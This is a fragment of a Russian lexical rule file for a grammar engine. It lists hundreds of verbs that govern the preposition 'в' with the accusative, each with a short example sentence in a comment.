rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
